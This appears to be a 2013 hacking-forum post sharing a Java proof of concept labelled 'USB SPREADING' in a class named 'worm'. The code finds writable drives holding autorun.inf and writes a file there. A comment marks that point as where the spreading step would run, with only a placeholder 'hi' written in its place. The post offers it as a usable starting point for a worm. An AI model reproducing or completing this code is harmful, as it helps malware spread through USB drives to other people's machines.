Oct 8, 2013 04:52 PM
(This post was last modified: Oct 8, 2013 05:01 PM by Ϲasp3r.)
Whipped this together today:
http://pastebin.com/3dVZ5aGg
Not "complete" but if you know what you're doing its good enough!
Code
//USB SPREADING
//POC BY CASPER
//
//Not the best way to find USBs but works generally
//
// Oct. 08th 2013
import java.io.*;
public class worm {
public static void main(String[] args){
File[] roots = File.listRoots();
if (roots == null) {
// you have a different problem here. Is it even a computer we are talking about?
}
// Iterate through roots
for (File root : roots) {
if (root.canWrite()) {
//System.out.println(root.getAbsolutePath());
for(int file = 0; file < root.listFiles().length; file++){
//System.out.println(root.listFiles()[file].getPath());
if(root.listFiles()[file].getAbsolutePath().substring(root.listFiles()[file].getAbsolutePath().lastIndexOf("\\")+1).equals("autorun.inf")){
String fname = root.getAbsolutePath() + "test.txt";
try{
//Execute the spreading now that you have where the USB is
//This is an example for show
FileWriter outfile = new FileWriter(fname);
outfile.write("hi");
outfile.close();
}catch(IOException e){
System.out.println("IO Issue");
return;
}
}
}
}
}
}
}http://pastebin.com/3dVZ5aGg
Not "complete" but if you know what you're doing its good enough!



